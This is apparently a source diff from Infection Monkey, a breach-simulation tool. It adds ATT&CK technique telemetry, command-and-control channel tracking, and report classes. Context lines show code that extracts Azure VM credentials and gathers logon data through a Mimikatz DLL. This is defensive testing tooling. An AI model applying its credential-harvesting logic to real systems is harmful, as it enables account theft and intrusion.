T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
|
||||
return decrypt_data['username'], decrypt_data['password']
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
|
@ -92,6 +96,7 @@ class AzureCollector(object):
|
|||
# this is disgusting but the alternative is writing the file to disk...
|
||||
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
|
||||
password = json.loads(password_raw)["Password"]
|
||||
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
|
||||
return username, password
|
||||
except IOError:
|
||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||
|
|
|
@ -5,7 +5,9 @@ import socket
|
|||
import zipfile
|
||||
|
||||
import infection_monkey.config
|
||||
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
@ -49,8 +51,12 @@ class MimikatzCollector(object):
|
|||
self._get = get_proto(("get", self._dll))
|
||||
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
|
||||
self._isInit = True
|
||||
status = ScanStatus.USED
|
||||
except Exception:
|
||||
LOG.exception("Error initializing mimikatz collector")
|
||||
status = ScanStatus.SCANNED
|
||||
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
|
||||
T1129Telem(status, UsageEnum.MIMIKATZ).send()
|
||||
|
||||
def get_logon_info(self):
|
||||
"""
|
||||
|
@ -67,7 +73,7 @@ class MimikatzCollector(object):
|
|||
|
||||
logon_data_dictionary = {}
|
||||
hostname = socket.gethostname()
|
||||
|
||||
|
||||
self.mimikatz_text = self._get_text_output_proto()
|
||||
|
||||
for i in range(entry_count):
|
||||
|
@ -102,7 +108,7 @@ class MimikatzCollector(object):
|
|||
except Exception:
|
||||
LOG.exception("Error getting logon info")
|
||||
return {}
|
||||
|
||||
|
||||
def get_mimikatz_text(self):
|
||||
return self.mimikatz_text
|
||||
|
||||
|
|
|
@ -4,6 +4,8 @@ import sys
|
|||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -43,20 +45,25 @@ class WindowsSystemSingleton(_SystemSingleton):
|
|||
ctypes.c_bool(True),
|
||||
ctypes.c_char_p(self._mutex_name))
|
||||
last_error = ctypes.windll.kernel32.GetLastError()
|
||||
|
||||
status = None
|
||||
if not handle:
|
||||
LOG.error("Cannot acquire system singleton %r, unknown error %d",
|
||||
self._mutex_name, last_error)
|
||||
|
||||
return False
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
if winerror.ERROR_ALREADY_EXISTS == last_error:
|
||||
status = ScanStatus.SCANNED
|
||||
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
|
||||
self._mutex_name)
|
||||
|
||||
if not status:
|
||||
status = ScanStatus.USED
|
||||
T1106Telem(status, UsageEnum.SINGLETON_WINAPI).send()
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
self._mutex_handle = handle
|
||||
|
||||
LOG.debug("Global singleton mutex %r acquired",
|
||||
self._mutex_name)
|
||||
|
||||
|
|
|
@ -0,0 +1,22 @@
|
|||
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
|
||||
|
||||
|
||||
class T1005Telem(AttackTelem):
|
||||
def __init__(self, status, gathered_data_type, info=""):
|
||||
"""
|
||||
T1005 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param gathered_data_type: Type of data collected from local system
|
||||
:param info: Additional info about data
|
||||
"""
|
||||
super(T1005Telem, self).__init__('T1005', status)
|
||||
self.gathered_data_type = gathered_data_type
|
||||
self.info = info
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1005Telem, self).get_data()
|
||||
data.update({
|
||||
'gathered_data_type': self.gathered_data_type,
|
||||
'info': self.info
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,11 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
|
||||
|
||||
|
||||
class T1035Telem(UsageTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1035 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum of UsageEnum type
|
||||
"""
|
||||
super(T1035Telem, self).__init__('T1035', status, usage)
|
|
@ -0,0 +1,25 @@
|
|||
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
|
||||
|
||||
|
||||
class T1105Telem(AttackTelem):
|
||||
def __init__(self, status, src, dst, filename):
|
||||
"""
|
||||
T1105 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param src: IP of machine which uploaded the file
|
||||
:param dst: IP of machine which downloaded the file
|
||||
:param filename: Uploaded file's name
|
||||
"""
|
||||
super(T1105Telem, self).__init__('T1105', status)
|
||||
self.filename = filename
|
||||
self.src = src
|
||||
self.dst = dst
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1105Telem, self).get_data()
|
||||
data.update({
|
||||
'filename': self.filename,
|
||||
'src': self.src,
|
||||
'dst': self.dst
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,11 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
|
||||
|
||||
|
||||
class T1106Telem(UsageTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1106 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum name of UsageEnum
|
||||
"""
|
||||
super(T1106Telem, self).__init__("T1106", status, usage)
|
|
@ -0,0 +1,11 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
|
||||
|
||||
|
||||
class T1129Telem(UsageTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1129 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum of UsageEnum type
|
||||
"""
|
||||
super(T1129Telem, self).__init__("T1129", status, usage)
|
|
@ -0,0 +1,20 @@
|
|||
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
|
||||
|
||||
|
||||
class T1222Telem(VictimHostTelem):
|
||||
def __init__(self, status, command, machine):
|
||||
"""
|
||||
T1222 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param command: command used to change permissions
|
||||
:param machine: VictimHost type object
|
||||
"""
|
||||
super(T1222Telem, self).__init__('T1222', status, machine)
|
||||
self.command = command
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1222Telem, self).get_data()
|
||||
data.update({
|
||||
'command': self.command
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,20 @@
|
|||
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
|
||||
|
||||
|
||||
class UsageTelem(AttackTelem):
|
||||
|
||||
def __init__(self, technique, status, usage):
|
||||
"""
|
||||
:param technique: Id of technique
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum of UsageEnum type
|
||||
"""
|
||||
super(UsageTelem, self).__init__(technique, status)
|
||||
self.usage = usage.name
|
||||
|
||||
def get_data(self):
|
||||
data = super(UsageTelem, self).get_data()
|
||||
data.update({
|
||||
'usage': self.usage
|
||||
})
|
||||
return data
|
|
@ -6,10 +6,10 @@ import threading
|
|||
import urllib
|
||||
from logging import getLogger
|
||||
from urlparse import urlsplit
|
||||
from threading import Lock
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -165,11 +165,18 @@ class HTTPServer(threading.Thread):
|
|||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
|
@ -212,11 +219,17 @@ class LockedHTTPServer(threading.Thread):
|
|||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
|||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.transport.base import get_last_serve_time
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ import time
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||
|
||||
|
|
|
@ -16,4 +16,5 @@ from config import Config
|
|||
from creds import Creds
|
||||
from monkey_ttl import MonkeyTtl
|
||||
from pba_results import PbaResults
|
||||
from command_control_channel import CommandControlChannel
|
||||
from monkey import Monkey
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
from mongoengine import EmbeddedDocument, StringField
|
||||
|
||||
|
||||
class CommandControlChannel(EmbeddedDocument):
|
||||
"""
|
||||
This value describes command and control channel monkey used in communication
|
||||
src - Monkey Island's IP
|
||||
dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
|
||||
"""
|
||||
src = StringField()
|
||||
dst = StringField()
|
|
@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded
|
|||
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
|
||||
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
|
||||
from monkey_island.cc.models.command_control_channel import CommandControlChannel
|
||||
|
||||
|
||||
class Monkey(Document):
|
||||
|
@ -36,6 +37,7 @@ class Monkey(Document):
|
|||
pba_results = ListField()
|
||||
ttl_ref = ReferenceField(MonkeyTtl)
|
||||
tunnel = ReferenceField("self")
|
||||
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
|
||||
|
||||
# LOGIC
|
||||
@staticmethod
|
||||
|
@ -80,6 +82,17 @@ class Monkey(Document):
|
|||
os = "windows"
|
||||
return os
|
||||
|
||||
def get_network_info(self):
|
||||
"""
|
||||
Formats network info from monkey's model
|
||||
:return: dictionary with an array of IP's and a hostname
|
||||
"""
|
||||
return {'ips': self.ip_addresses, 'hostname': self.hostname}
|
||||
|
||||
@staticmethod
|
||||
def get_tunneled_monkeys():
|
||||
return Monkey.objects(tunnel__exists=True)
|
||||
|
||||
def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
|
||||
self.ttl_ref = create_monkey_ttl_document(duration)
|
||||
self.save()
|
||||
|
|
|
@ -9,11 +9,11 @@ from monkey_ttl import MonkeyTtl
|
|||
|
||||
class TestMonkey(IslandTestCase):
|
||||
"""
|
||||
Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
|
||||
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
|
||||
won't work.
|
||||
|
||||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||
server.json file is found and loaded.
|
||||
server_config.json file is found and loaded.
|
||||
"""
|
||||
|
||||
def test_is_dead(self):
|
||||
|
@ -90,3 +90,25 @@ class TestMonkey(IslandTestCase):
|
|||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
|
||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
|
||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
|
||||
|
||||
def test_get_tunneled_monkeys(self):
|
||||
self.fail_if_not_testing_env()
|
||||
self.clean_monkey_db()
|
||||
|
||||
linux_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="Linux shay-Virtual-Machine")
|
||||
windows_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="Windows bla bla bla",
|
||||
tunnel=linux_monkey)
|
||||
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="bla bla bla",
|
||||
tunnel=windows_monkey)
|
||||
linux_monkey.save()
|
||||
windows_monkey.save()
|
||||
unknown_monkey.save()
|
||||
tunneled_monkeys = Monkey.get_tunneled_monkeys()
|
||||
test = bool(windows_monkey in tunneled_monkeys
|
||||
and unknown_monkey in tunneled_monkeys
|
||||
and linux_monkey not in tunneled_monkeys
|
||||
and len(tunneled_monkeys) == 2)
|
||||
self.assertTrue(test, "Tunneling test")
|
||||
|
|
|
@ -43,6 +43,7 @@ class Telemetry(flask_restful.Resource):
|
|||
def post(self):
|
||||
telemetry_json = json.loads(request.data)
|
||||
telemetry_json['timestamp'] = datetime.now()
|
||||
telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host}
|
||||
|
||||
# Monkey communicated, so it's alive. Update the TTL.
|
||||
Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl()
|
||||
|
|
|
@ -1,7 +1,9 @@
|
|||
import logging
|
||||
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
|
||||
from monkey_island.cc.services.attack.technique_reports import T1145, T1107, T1065
|
||||
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
|
||||
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
|
@ -19,8 +21,19 @@ TECHNIQUES = {'T1210': T1210.T1210,
|
|||
'T1086': T1086.T1086,
|
||||
'T1082': T1082.T1082,
|
||||
'T1145': T1145.T1145,
|
||||
'T1065': T1065.T1065,
|
||||
'T1105': T1105.T1105,
|
||||
'T1035': T1035.T1035,
|
||||
'T1129': T1129.T1129,
|
||||
'T1106': T1106.T1106,
|
||||
'T1107': T1107.T1107,
|
||||
'T1065': T1065.T1065}
|
||||
'T1188': T1188.T1188,
|
||||
'T1090': T1090.T1090,
|
||||
'T1041': T1041.T1041,
|
||||
'T1222': T1222.T1222,
|
||||
'T1005': T1005.T1005,
|
||||
'T1018': T1018.T1018,
|
||||
'T1016': T1016.T1016}
|
||||
|
||||
REPORT_NAME = 'new_report'
|
||||
|
||||
|
|
|
@ -40,6 +40,14 @@ SCHEMA = {
|
|||
"necessary": False,
|
||||
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
|
||||
"having access to the user's cleartext password."
|
||||
},
|
||||
"T1105": {
|
||||
"title": "T1105 Remote file copy",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "Files may be copied from one system to another to stage "
|
||||
"adversary tools or other files over the course of an operation."
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -100,6 +108,13 @@ SCHEMA = {
|
|||
"description": "Adversaries may remove files over the course of an intrusion "
|
||||
"to keep their footprint low or remove them at the end as part "
|
||||
"of the post-intrusion cleanup process."
|
||||
},
|
||||
"T1222": {
|
||||
"title": "T1222 File permissions modification",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -107,6 +122,33 @@ SCHEMA = {
|
|||
"title": "Execution",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1035": {
|
||||
"title": "T1035 Service execution",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Adversaries may execute a binary, command, or script via a method "
|
||||
"that interacts with Windows services, such as the Service Control Manager.",
|
||||
"depends_on": ["T1210"]
|
||||
},
|
||||
"T1129": {
|
||||
"title": "T1129 Execution through module load",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "The Windows module loader can be instructed to load DLLs from arbitrary "
|
||||
"local paths and arbitrary Universal Naming Convention (UNC) network paths.",
|
||||
"depends_on": ["T1078", "T1003"]
|
||||
},
|
||||
"T1106": {
|
||||
"title": "T1106 Execution through API",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Adversary tools may directly use the Windows application "
|
||||
"programming interface (API) to execute binaries.",
|
||||
"depends_on": ["T1210"]
|
||||
},
|
||||
"T1059": {
|
||||
"title": "T1059 Command line interface",
|
||||
"type": "bool",
|
||||
|
@ -134,9 +176,43 @@ SCHEMA = {
|
|||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"depends_on": ["T1016", "T1005"],
|
||||
"description": "An adversary may attempt to get detailed information about the "
|
||||
"operating system and hardware, including version, patches, hotfixes, "
|
||||
"service packs, and architecture."
|
||||
},
|
||||
"T1018": {
|
||||
"title": "T1018 Remote System Discovery",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "Adversaries will likely attempt to get a listing of other systems by IP address, "
|
||||
"hostname, or other logical identifier on a network for lateral movement."
|
||||
},
|
||||
"T1016": {
|
||||
"title": "T1016 System network configuration discovery",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"depends_on": ["T1005", "T1082"],
|
||||
"description": "Adversaries will likely look for details about the network configuration "
|
||||
"and settings of systems they access or through information discovery"
|
||||
" of remote systems."
|
||||
}
|
||||
}
|
||||
},
|
||||
"collection": {
|
||||
"title": "Collection",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1005": {
|
||||
"title": "T1005 Data from local system",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"depends_on": ["T1016", "T1082"],
|
||||
"description": "Sensitive data can be collected from local system sources, such as the file system "
|
||||
"or databases of information residing on the system prior to Exfiltration."
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -151,8 +227,37 @@ SCHEMA = {
|
|||
"necessary": True,
|
||||
"description": "Adversaries may conduct C2 communications over a non-standard "
|
||||
"port to bypass proxies and firewalls that have been improperly configured."
|
||||
},
|
||||
"T1090": {
|
||||
"title": "T1090 Connection proxy",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "A connection proxy is used to direct network traffic between systems "
|
||||
"or act as an intermediary for network communications."
|
||||
},
|
||||
"T1188": {
|
||||
"title": "T1188 Multi-hop proxy",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "To disguise the source of malicious traffic, "
|
||||
"adversaries may chain together multiple proxies."
|
||||
}
|
||||
}
|
||||
},
|
||||
"exfiltration": {
|
||||
"title": "Exfiltration",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1041": {
|
||||
"title": "T1041 Exfiltration Over Command and Control Channel",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "Data exfiltration is performed over the Command and Control channel."
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -12,16 +12,16 @@ class T1003(AttackTechnique):
|
|||
scanned_msg = ""
|
||||
used_msg = "Monkey successfully obtained some credentials from systems on the network."
|
||||
|
||||
query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
|
||||
# $gt: {} checks if field is not an empty object
|
||||
{'data.credentials': {'$gt': {}}}]}
|
||||
query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
|
||||
# $gt: {} checks if field is not an empty object
|
||||
{'data.credentials': {'$gt': {}}}]}
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = {'title': T1003.technique_title()}
|
||||
if mongo.db.telemetry.count_documents(T1003.query):
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1003.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1005(AttackTechnique):
|
||||
|
||||
tech_id = "T1005"
|
||||
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
|
||||
scanned_msg = ""
|
||||
used_msg = "Monkey successfully gathered sensitive data from local system."
|
||||
|
||||
query = [{'$match': {'telem_category': 'attack',
|
||||
'data.technique': tech_id}},
|
||||
{'$lookup': {'from': 'monkey',
|
||||
'localField': 'monkey_guid',
|
||||
'foreignField': 'guid',
|
||||
'as': 'monkey'}},
|
||||
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
|
||||
'status': '$data.status',
|
||||
'gathered_data_type': '$data.gathered_data_type',
|
||||
'info': '$data.info'}},
|
||||
{'$addFields': {'_id': 0,
|
||||
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
|
||||
'monkey': 0}},
|
||||
{'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}},
|
||||
{"$replaceRoot": {"newRoot": "$_id"}}]
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1005.get_tech_base_data()
|
||||
data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))})
|
||||
return data
|
|
@ -0,0 +1,35 @@
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1016(AttackTechnique):
|
||||
|
||||
tech_id = "T1016"
|
||||
unscanned_msg = "Monkey didn't gather network configurations."
|
||||
scanned_msg = ""
|
||||
used_msg = "Monkey gathered network configurations on systems in the network."
|
||||
|
||||
query = [{'$match': {'telem_category': 'system_info'}},
|
||||
{'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
|
||||
'networks': '$data.network_info.networks',
|
||||
'netstat': '$data.network_info.netstat'}},
|
||||
{'$addFields': {'_id': 0,
|
||||
'netstat': 0,
|
||||
'networks': 0,
|
||||
'info': [
|
||||
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]},
|
||||
'name': {'$literal': 'Network connections (netstat)'}},
|
||||
{'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]},
|
||||
'name': {'$literal': 'Network interface info'}},
|
||||
]}}]
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
network_info = list(mongo.db.telemetry.aggregate(T1016.query))
|
||||
status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value
|
||||
data = T1016.get_base_data_by_status(status)
|
||||
data.update({'network_info': network_info})
|
||||
return data
|
|
@ -0,0 +1,39 @@
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1018(AttackTechnique):
|
||||
|
||||
tech_id = "T1018"
|
||||
unscanned_msg = "Monkey didn't find any machines on the network."
|
||||
scanned_msg = ""
|
||||
used_msg = "Monkey found machines on the network."
|
||||
|
||||
query = [{'$match': {'telem_category': 'scan'}},
|
||||
{'$sort': {'timestamp': 1}},
|
||||
{'$group': {'_id': {'monkey_guid': '$monkey_guid'},
|
||||
'machines': {'$addToSet': '$data.machine'},
|
||||
'started': {'$first': '$timestamp'},
|
||||
'finished': {'$last': '$timestamp'}}},
|
||||
{'$lookup': {'from': 'monkey',
|
||||
'localField': '_id.monkey_guid',
|
||||
'foreignField': 'guid',
|
||||
'as': 'monkey_tmp'}},
|
||||
{'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}},
|
||||
{'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname',
|
||||
'ips': '$monkey_tmp.ip_addresses'},
|
||||
'monkey_tmp': 0}}]
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
scan_info = list(mongo.db.telemetry.aggregate(T1018.query))
|
||||
if scan_info:
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data = T1018.get_base_data_by_status(status)
|
||||
data.update({'scan_info': scan_info})
|
||||
return data
|
|
@ -0,0 +1,17 @@
|
|||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1035(UsageTechnique):
|
||||
tech_id = "T1035"
|
||||
unscanned_msg = "Monkey didn't try to interact with Windows services."
|
||||
scanned_msg = "Monkey tried to interact with Windows services, but failed."
|
||||
used_msg = "Monkey successfully interacted with Windows services."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1035.get_tech_base_data()
|
||||
data.update({'services': T1035.get_usage_data()})
|
||||
return data
|
|
@ -0,0 +1,27 @@
|
|||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.models.monkey import Monkey
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1041(AttackTechnique):
|
||||
|
||||
tech_id = "T1041"
|
||||
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
|
||||
scanned_msg = ""
|
||||
used_msg = "Monkey exfiltrated info trough command and control channel."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
monkeys = list(Monkey.objects())
|
||||
info = [{'src': monkey['command_control_channel']['src'],
|
||||
'dst': monkey['command_control_channel']['dst']}
|
||||
for monkey in monkeys if monkey['command_control_channel']]
|
||||
if info:
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data = T1041.get_base_data_by_status(status)
|
||||
data.update({'command_control_channel': info})
|
||||
return data
|
|
@ -27,8 +27,8 @@ class T1059(AttackTechnique):
|
|||
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
|
||||
data = {'title': T1059.technique_title(), 'cmds': cmd_data}
|
||||
if cmd_data:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1059.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -17,4 +17,4 @@ class T1065(AttackTechnique):
|
|||
def get_report_data():
|
||||
port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1]
|
||||
T1065.used_msg = T1065.message % port
|
||||
return T1065.get_base_data_by_status(ScanStatus.USED)
|
||||
return T1065.get_base_data_by_status(ScanStatus.USED.value)
|
||||
|
|
|
@ -35,10 +35,10 @@ class T1075(AttackTechnique):
|
|||
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
|
||||
data.update({'successful_logins': successful_logins})
|
||||
if successful_logins:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
|
||||
status = ScanStatus.SCANNED
|
||||
status = ScanStatus.SCANNED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1075.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -12,7 +12,7 @@ class T1082(AttackTechnique):
|
|||
scanned_msg = ""
|
||||
used_msg = "Monkey gathered system info from machines in the network."
|
||||
|
||||
query = [{'$match': {'telem_category': 'system_info_collection'}},
|
||||
query = [{'$match': {'telem_category': 'system_info'}},
|
||||
{'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
|
||||
'aws': '$data.aws',
|
||||
